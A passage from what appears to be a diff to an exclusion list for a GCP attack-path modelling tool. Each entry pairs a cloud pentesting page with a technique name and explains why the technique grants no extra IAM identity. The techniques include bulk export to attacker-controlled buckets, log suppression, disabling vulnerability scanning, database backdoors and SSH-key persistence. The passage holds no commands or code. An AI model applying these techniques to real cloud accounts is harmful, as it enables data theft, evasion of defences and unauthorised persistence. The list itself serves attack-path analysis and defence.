src/pentesting-cloud/gcp-security/gcp-services/gcp-google-secops-enum.md#google-secops-chroniclegoogleapiscom + technique: Google SecOps (chronicle.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-bare-metal-solution-enum.md#enumeration-read-only--rolesbaremetalsolutionviewer + technique: Enumeration (read-only — roles/baremetalsolution.viewer) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-beyondcorp-enum.md#secure-gateway-beyondcorpgoogleapiscom + technique: Secure Gateway (beyondcorp.googleapis.com) + reason: Pointer to dedicated privilege-escalation page owned by another group; no standalone permission chain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-support-enum.md#cloud-customer-care-cloudsupportgoogleapiscom + technique: Cloud Customer Care (cloudsupport.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-lifecycle-manager-enum.md#app-lifecycle-manager-saasservicemgmtgoogleapiscom + technique: App Lifecycle Manager (saasservicemgmt.googleapis.com) + reason: 'Identity mechanics already covered: gcp-saasservicemgmt-release-unit-actuation.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-app-hosting-enum.md#firebase-app-hosting-firebaseapphostinggoogleapiscom + technique: Firebase App Hosting (firebaseapphosting.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-billing-enum.md#cloud-billing-cloudbillinggoogleapiscom + technique: Cloud Billing (cloudbilling.googleapis.com) + reason: Pointer to dedicated privilege-escalation page owned by another group; no standalone permission chain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-binary-authorization-enum.md#binary-authorization-binaryauthorizationgoogleapiscom + technique: Binary Authorization (binaryauthorization.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-config-controller-enum.md#config-controller-krmapihostinggoogleapiscom + technique: Config Controller (krmapihosting.googleapis.com) + reason: KCC reconciler-SA control is gcp-configcontroller-kcc-resource-write; this page only describes identity and discovery. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-document-ai-enum.md#document-ai-documentaigoogleapiscom + technique: Document AI (documentai.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cluster-director-enum.md#cluster-director-hypercomputeclustergoogleapiscom + technique: Cluster Director (hypercomputecluster.googleapis.com) + reason: 'Identity mechanics already covered: gcp-hypercomputecluster-login-node-startup-actas.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-agent-registry-enum.md#agent-registry-agentregistrygoogleapiscom + technique: Agent Registry (agentregistry.googleapis.com) + reason: 'Identity mechanics already covered: gcp-agentregistry-skill-default-revision-replace.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-application-design-center-enum.md#application-design-center-designcentergoogleapiscom + technique: Application Design Center (designcenter.googleapis.com) + reason: 'V1D-NS-1: deploy/update as selected SA needs caller actAs, Design Center service-agent actAs, and executable-IaC + control.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-ids-enum.md#cloud-ids-idsgoogleapiscom + technique: Cloud IDS (ids.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-advisory-notifications-enum.md#advisory-notifications-advisorynotificationsgoogleapiscom + technique: Advisory Notifications (advisorynotifications.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-container-analysis-enum.md#container-analysis-containeranalysisgoogleapiscom + technique: Container Analysis (containeranalysis.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-access-approval-enum.md#access-approval-accessapprovalgoogleapiscom + technique: Access Approval (accessapproval.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-hub-enum.md#apphubdiscoveredserviceslist--discoveredworkloadslist--cross-project-topology-recon-primary-value + technique: apphub.discoveredServices.list / discoveredWorkloads.list — cross-project topology recon (primary value) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-hub-enum.md#serviceprojectattachmentsdetach--delete--application-map-tamper-metadata-dos + technique: serviceProjectAttachments.detach / .delete — application-map tamper (metadata DoS) + reason: Attachment tampering only changes catalog visibility, not workload IAM. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-hub-enum.md#apphubapplicationssetiampolicy--self-grant-weak + technique: apphub.applications.setIamPolicy — self-grant (weak) + reason: Self-grant is limited to App Hub catalog metadata; no access to underlying workload identity. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-cli-execution-enum.md#cloud-cli-execution-cloudcligoogleapiscom + technique: Cloud CLI Execution (cloudcli.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. + +# Additional permission/action headings reviewed against the current source at a66f094ede. +- source: src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#create--assign-apply-a-pab + technique: Create / Assign (Apply) a PAB + reason: Creating or assigning a principal access boundary restricts which resources a principal can reach; it grants no + second identity or additional IAM role. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-application-design-center-post-exploitation.md#rolesdesigncenterviewer--read-objects-from-known-cloud-storage-buckets + technique: Read known bucket objects through Design Center Viewer role + reason: Credential exposure is possible only when the returned content contains a verified usable credential mapped + to a target; requires gcp_designcenter_bucket_credentials and remains UNKNOWN without that fact. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbuserscreate--update--plant-a-built-in-database-administrator-credential + technique: alloydb.users.create / .update — plant a built-in database administrator credential + reason: The operation grants or uses PostgreSQL database privileges inside AlloyDB, not a second Google Cloud IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#create-an-iam-database-user-with-an-explicit-database-role + technique: Create an IAM database user with an explicit database role + reason: The operation grants or uses PostgreSQL database privileges inside AlloyDB, not a second Google Cloud IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbinstancesexecutesql--query-through-the-data-api-without-a-database-network-path + technique: alloydb.instances.executeSql* — query through the Data API without a database network path + reason: The operation grants or uses PostgreSQL database privileges inside AlloyDB, not a second Google Cloud IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbclustersexport--export-database-data-to-an-attacker-controlled-bucket + technique: alloydb.clusters.export — export database data to an attacker-controlled bucket + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not + a configuration-derived principal-to-principal IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbclustersrestore--restore-a-cross-project-backup-into-a-controlled-project + technique: alloydb.clusters.restore — restore a cross-project backup into a controlled project + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the + caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-lifecycle-manager-post-exploitation.md#saasservicemgmtflagsupdate--revisionreleaserollout-creation--change-application-behavior-without-deploying-code + technique: saasservicemgmt.flags.update + revision/release/rollout creation — change application behavior without deploying + code + reason: Flag revision and rollout changes alter application behavior; any authorization bypass is application-specific and + does not grant a Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-lifecycle-manager-post-exploitation.md#saasservicemgmtflagreleasescreate--rolloutscreate--republish-a-known-older-flag-revision + technique: saasservicemgmt.flagReleases.create + rollouts.create — republish a known older flag revision + reason: Flag revision and rollout changes alter application behavior; any authorization bypass is application-specific and + does not grant a Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesdownloadartifacts--inspect-stored-artifacts-for-sensitive-data + technique: Recover credentials embedded in Artifact Registry package or image + reason: Credential exposure is possible only when the returned content contains a verified usable credential mapped + to a target; requires gcp_artifactregistry_artifact_credentials and remains UNKNOWN without that fact. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesexportartifacts--copy-an-artifact-to-cloud-storage + technique: Export Artifact Registry artifact to storage + reason: Credential exposure is possible only when the returned content contains a verified usable credential mapped + to a target; requires gcp_artifactregistry_exported_credentials and remains UNKNOWN without that fact. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryattachmentscreate--add-untrusted-metadata-to-an-artifact + technique: artifactregistry.attachments.create — add untrusted metadata to an artifact + reason: Creating an attachment adds artifact metadata only; it does not make a consumer execute code or yield the consumer + service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriessetiampolicy--expose-a-repository-publicly + technique: artifactregistry.repositories.setIamPolicy — expose a repository publicly + reason: Repository IAM self-grant exposes artifacts in that repository; it does not change the identity of workloads that + consume them. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesupdate--disable-automatic-vulnerability-scanning + technique: artifactregistry.repositories.update — disable automatic vulnerability scanning + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the + caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigqueryjobslistall--jobslist-jobsget--read-every-principals-sql-silently + technique: Recover API keys or tokens in other users’ SQL and query parameters + reason: Credential exposure is possible only when the returned content contains a verified usable credential mapped + to a target; requires gcp_bigquery_job_sql_credentials and remains UNKNOWN without that fact. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerytablesgetdata--paginate-an-entire-table-without-running-a-query + technique: Read BigQuery table rows + reason: Credential exposure is possible only when the returned content contains a verified usable credential mapped + to a target; requires gcp_bigquery_table_row_credentials and remains UNKNOWN without that fact. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigqueryconnectionsuse--query-cloud-sql-through-stored-connection-credentials + technique: bigquery.connections.use — query Cloud SQL through stored connection credentials + reason: A connection can issue selected Cloud SQL queries with stored database credentials; it does not disclose or impersonate + a Google service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerytablesexport--export-data--bulk-exfiltration-to-attacker-controlled-storage + technique: bigquery.tables.export / EXPORT DATA — bulk exfiltration to attacker-controlled storage + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not + a configuration-derived principal-to-principal IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerymodelsexport--mlweights--exfiltrate-trained-bqml-models + technique: bigquery.models.export / ML.WEIGHTS — exfiltrate trained BQML models + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not + a configuration-derived principal-to-principal IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#publiccaexternalaccountkeyscreate--register-a-persistent-off-platform-acme-account + technique: publicca.externalAccountKeys.create — register a persistent off-platform ACME account + reason: The operation affects TLS/ACME trust or certificate presentation at an application endpoint; it does not grant a + Google Cloud IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#certificatemanagertrustconfigsupdate--inject-an-mtls-client-identity + technique: certificatemanager.trustconfigs.update — inject an mTLS client identity + reason: The operation affects TLS/ACME trust or certificate presentation at an application endpoint; it does not grant a + Google Cloud IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#certificatemanagercertmapentriesupdate--substitute-a-live-hostname-certificate + technique: certificatemanager.certmapentries.update — substitute a live hostname certificate + reason: The operation affects TLS/ACME trust or certificate presentation at an application endpoint; it does not grant a + Google Cloud IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#execute-sql-through-the-data-api--cloudsqlinstancesexecutesql + technique: Execute SQL through the Data API — cloudsql.instances.executeSql + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance + service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#export-database-contents-through-the-instance-service-account--cloudsqlinstancesexport + technique: Export database contents through the instance service account — cloudsql.instances.export + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance + service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#import-an-attacker-controlled-database-dump--cloudsqlinstancesimport + technique: Import an attacker-controlled database dump — cloudsql.instances.import + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance + service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#weaken-transport-security-or-invalidate-client-certificates--cloudsqlinstancesupdate-cloudsqlinstancesresetsslconfig + technique: Weaken transport security or invalidate client certificates — cloudsql.instances.update, cloudsql.instances.resetSslConfig + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance + service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#suppress-postgresql-engine-logging--cloudsqlinstancesupdate + technique: Suppress PostgreSQL engine logging — cloudsql.instances.update + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance + service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#destroy-data-or-weaken-recovery--delete-databases-backups-or-instances + technique: Destroy data or weaken recovery — delete databases, backups, or instances + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the + caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#disrupt-instance-availability--update-restart-failover-or-stop-a-replica + technique: Disrupt instance availability — update, restart, failover, or stop a replica + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the + caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-deploy-post-exploitation.md#clouddeployreleasesget--list--plaintext-deploy-params--execution-sa-disclosure-viewer-only + technique: clouddeploy.releases.get / .list — plaintext deploy-params + execution-SA disclosure (viewer-only) + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not + a configuration-derived principal-to-principal IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-application-logs-with-logginglogentrieslist + technique: Recover credentials printed in App Engine logs + reason: Credential exposure is possible only when the returned content contains a verified usable credential mapped + to a target; requires gcp_appengine_log_credentials and remains UNKNOWN without that fact. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bare-metal-solution-post-exploitation.md#baremetalsolutionnfssharesupdate--expose-an-nfs-export-to-a-reachable-client + technique: baremetalsolution.nfsshares.update — expose an NFS export to a reachable client + reason: NFS export allowlisting changes which clients can mount files; it does not authenticate as the Bare Metal host or + its Google service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobsget-or-list--cloudschedulerjobsfullview--silent-secret-harvesting + technique: (cloudscheduler.jobs.get or .list) + cloudscheduler.jobs.fullView — silent secret harvesting + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not + a configuration-derived principal-to-principal IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobsrun---replay-privileged-jobs-on-demand + technique: cloudscheduler.jobs.run - replay privileged jobs on demand + reason: Running a pinned existing Scheduler job replays its stored request; the caller cannot choose a new OAuth request + or obtain its service-account token. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobsupdate---payloadtarget-tampering-on-a-trusted-job + technique: cloudscheduler.jobs.update - payload/target tampering on a trusted job + reason: The same jobs.update plus iam.serviceAccounts.actAs combination and pinned job service-account target are modeled + by gcp-cloudscheduler-jobs-update-actas. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobspause--cloudschedulerjobsdelete---disruption + technique: cloudscheduler.jobs.pause / cloudscheduler.jobs.delete - disruption + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the + caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md#domainsregistrationsconfigurecontact--expose-registrant-data-or-alter-transfer-contacts + technique: domains.registrations.configureContact — expose registrant data or alter transfer contacts + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the + caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-biglake-post-exploitation.md#biglaketablesgetdata--obtain-table-scoped-cloud-storage-credentials + technique: biglake.tables.getData — obtain table-scoped Cloud Storage credentials + reason: The delegated credentials and writes are scoped to Lakehouse table objects in Cloud Storage; they do not grant the + catalog service account's general IAM roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-biglake-post-exploitation.md#biglaketablesupdatedata--update--write-objects-and-commit-a-malicious-iceberg-snapshot + technique: biglake.tables.updateData + .update — write objects and commit a malicious Iceberg snapshot + reason: The delegated credentials and writes are scoped to Lakehouse table objects in Cloud Storage; they do not grant the + catalog service account's general IAM roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-biglake-post-exploitation.md#biglaketablesupdate--repoint-a-biglake-metastore-classic-table-location + technique: biglake.tables.update — repoint a BigLake metastore (classic) table location + reason: The delegated credentials and writes are scoped to Lakehouse table objects in Cloud Storage; they do not grant the + catalog service account's general IAM roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-quotas-post-exploitation.md#cloudquotasquotasget--map-capacity-dimensions-and-quota-request-history + technique: cloudquotas.quotas.get — map capacity, dimensions and quota-request history + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not + a configuration-derived principal-to-principal IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-dns-post-exploitation.md#create-a-forwarding-or-peering-zone + technique: Create a forwarding or peering zone + reason: A forwarding or peering zone changes DNS routing; it grants network reach or interception, not another principal's + IAM roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md#runlocationsexportimage--export-a-cached-private-image-without-source-registry-access + technique: run.locations.exportImage — export a cached private image without source-registry access + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not + a configuration-derived principal-to-principal IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md#delete-cloud-run-services-jobs-or-revisions + technique: Delete Cloud Run services, jobs or revisions + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the + caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-binary-authorization-post-exploitation.md#binaryauthorizationpolicyupdate-plus-workload-deployment--relax-admission-and-obtain-a-workload-foothold + technique: binaryauthorization.policy.update plus workload deployment — relax admission and obtain a workload foothold + reason: The Binary Authorization change only weakens image admission; acquiring a workload identity additionally requires + a separate deployment permission and suitable workload, modeled by the deployment entries. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-binary-authorization-post-exploitation.md#binaryauthorizationattestorsupdate-plus-artifact-analysis-occurrence-creation--inject-a-signing-key-and-obtain-a-workload-foothold + technique: binaryauthorization.attestors.update plus Artifact Analysis occurrence creation — inject a signing key and obtain + a workload footh + reason: The Binary Authorization change only weakens image admission; acquiring a workload identity additionally requires + a separate deployment permission and suitable workload, modeled by the deployment entries. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-advisory-notifications-post-exploitation.md#advisorynotificationsnotificationslist--read-full-security-and-privacy-notices + technique: advisorynotifications.notifications.list — read full security and privacy notices + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not + a configuration-derived principal-to-principal IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-advisory-notifications-post-exploitation.md#advisorynotificationssettingsupdate--disable-organization-sensitive-actions-delivery + technique: advisorynotifications.settings.update — disable organization Sensitive Actions delivery + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the + caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md#cloudfunctionsfunctionssourcecodeget--request-a-signed-source-download-url + technique: cloudfunctions.functions.sourceCodeGet — request a signed source-download URL + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not + a configuration-derived principal-to-principal IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-access-approval-post-exploitation.md#accessapprovalsettingsupdate--accessapprovalsettingsdelete + technique: accessapproval.settings.update / accessapproval.settings.delete + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the + caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-access-approval-post-exploitation.md#accessapprovalrequestsapprove--dismiss--invalidate--rubber-stamp-or-kill-approval-requests + technique: accessapproval.requests.approve / .dismiss / .invalidate — rubber-stamp or kill approval requests + reason: Approving or dismissing a Google support access request changes a support guardrail; it does not grant the caller + the support principal's IAM rights. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-tasks-persistence.md#cloudtaskstaskscreate---override-queue-retry-limits-per-task + technique: cloudtasks.tasks.create - override queue retry limits per task + reason: Per-task retry overrides only alter delivery timing and retry count; the task's authenticated request still requires + the separately modeled task-create plus actAs path. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-alloydb-persistence.md#create-a-postgresql-native-backdoor-below-the-alloydb-api-inventory + technique: Create a PostgreSQL-native backdoor below the AlloyDB API inventory + reason: Native CREATE ROLE/GRANT requires an already-authorized SQL session and creates database authority; SQL session + privileges and PostgreSQL catalog objects are absent from the GCP IAM snapshot. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-persistence.md#resourcemanagersetiampolicy---plant-a-durable-hierarchy-binding + technique: resourcemanager.*.setIamPolicy - Plant a durable hierarchy binding + reason: The project/folder/organization IAM self-grant uses resourcemanager.*.setIamPolicy, already modeled by the matching + resourcemanager policy-write entries; this section describes retaining the grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workflows-persistence.md#source-only-update---keep-a-privileged-identity-after-actas-is-revoked + technique: Source-only update - keep a privileged identity after actAs is revoked + reason: The same source-only workflow update retaining its attached service account is modeled by gcp-workflows-update-source-retain-sa. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md#create-a-user-or-rotate-a-password + technique: Create a user or rotate a password + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance + service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md#cloudsqlsslcertscreate--mint-a-durable-client-certificate + technique: cloudsql.sslCerts.create — mint a durable client certificate + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance + service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md#in-engine-scheduled-task-cloudsqlenable_pg_cron--mysql-event_scheduler--self-triggering-db-persistence + technique: In-engine scheduled task (cloudsql.enable_pg_cron / MySQL event_scheduler) — self-triggering DB persistence + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance + service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-deny-policies-persistence.md#iamdenypoliciescreate + technique: iam.denypolicies.create + reason: Deny/PAB policy editing changes a guardrail on existing permissions; it does not by itself add a second principal + or role. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-deny-policies-persistence.md#angle-2--guardrail-removal-privesc-enabler-deleterelax-a-pab-blocking-you + technique: Remove or relax a PAB suppressing an existing IAM allow + reason: Project binding removal/update is conditionally modeled by gcp-v3-31-projects-deletepolicybinding-updatepolicybinding-pab-escap. + Folder/organization binding and PAB policy update/delete need exact PAB inventory, owning-organization + bind/unbind authorization as applicable, and recomputation of all remaining boundaries before an existing + allow is treated as effective. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cluster-director-persistence.md#hypercomputeclusterclustersupdate--iamserviceaccountsactas--persist-a-login-fleet-startup-hook + technique: hypercomputecluster.clusters.update + iam.serviceAccounts.actAs — persist a login-fleet startup hook + reason: The same cluster update plus actAs login-node startup hook is modeled by gcp-hypercomputecluster-login-node-startup-actas; + this section describes its persistence. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-vpc-service-controls-persistence.md#gcpuseraccessbindingscreateupdate--90-day-workforce-looker-sessions + technique: gcpUserAccessBindings.create/update — 90-day Workforce Looker sessions + reason: The binding extends an existing Workforce Looker session, which is application access rather than another Google + Cloud IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md#bigquerydatasetsupdate--bigquerydatasetssetiampolicy--persistent-dataset-acl-grant + technique: bigquery.datasets.update / bigquery.datasets.setIamPolicy — persistent dataset ACL grant + reason: A dataset ACL can grant a controlled principal new dataset rights. The current evaluator has no dataset-role + target or fine-grained ACL-mode branching. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-essential-contacts-persistence.md#essentialcontactscontactscreate + technique: essentialcontacts.contacts.create + reason: An added essential contact receives operational/security notifications; it is an information feed, not an IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md#cron-based-persistence-cronyaml + technique: Cron-based persistence (cron.yaml) + reason: Cron only invokes an existing App Engine handler; code execution as the app service account already requires deploying + a backdoored version, modeled by gcp-appengine-versions-create-actas or its legacy default-SA variant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-looker-persistence.md#project-level-iam-binding-of-roleslookeradmin-to-a-controlled-principal + technique: Project-level IAM binding of roles/looker.admin to a controlled principal + reason: The project/folder/organization IAM self-grant uses resourcemanager.*.setIamPolicy, already modeled by the matching + resourcemanager policy-write entries; this section describes retaining the grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-firestore-persistence.md#datastoreusercreds--mint-db-native-credentials-iam-independent-persistence--data-plane-exfil + technique: Create or reset Firestore Enterprise user credentials + reason: Create or reset-password returns a usable Firestore Enterprise database credential. Catalog emission + awaits a database-credential target kind and exact Enterprise userCreds facts; Google IAM service-account + status is irrelevant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-eventarc-persistence.md#eventarcpipelinescreate--recurring-oauth-token-delivery-as-an-identity-level-backdoor + technique: eventarc.pipelines.create — recurring OAuth-token delivery as an identity-level backdoor + reason: The same Eventarc OAuth-token pipeline plus actAs path is modeled by gcp-eventarc-pipeline-oauth-token-actas; this + section describes a recurring delivery schedule. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bare-metal-solution-persistence.md#project-level-ssh-key-backdoor-baremetalsolutionsshkeyscreate + technique: Project-level SSH key backdoor (baremetalsolution.sshKeys.create) + reason: A BMS SSH key can grant host login, but no BMS host-principal target or attacker network reachability fact + exists in the current evaluator. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bare-metal-solution-persistence.md#serial-console-left-enabled-baremetalsolutioninstancesenableinteractiveserialconsole + technique: Serial console left enabled (baremetalsolution.instances.enableInteractiveSerialConsole) + reason: Serial-console access is a Bare Metal host-control foothold; it does not grant a Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bare-metal-solution-persistence.md#standing-nfs-allowlist-entry-baremetalsolutionnfssharesupdate + technique: Standing NFS allowlist entry (baremetalsolution.nfsshares.update) + reason: An NFS CIDR entry may grant share read/write to a reachable attacker client; the current evaluator has no NFS + data-plane target or BMS network-client reachability fact. + source_revision: 0b36331 +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-liens-persistence.md#resourcemanagerprojectscreatelien + technique: resourcemanager.projects.createLien + reason: A lien blocks project deletion until removed; it protects a foothold but grants no role or identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-asset-inventory-persistence.md#cloudassetfeedscreate--asset-feed-to-an-attacker-controlled-pubsub-topic + technique: cloudasset.feeds.create — asset feed to an attacker-controlled Pub/Sub topic + reason: The feed continuously copies asset and IAM-policy changes to Pub/Sub; it grants intelligence, not use of any listed + principal. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md#durable-change-stream-wiretap-bigtabletablesupdate + technique: Durable change-stream wiretap (bigtable.tables.update) + reason: The described standing change collects or exposes data, changes monitoring or 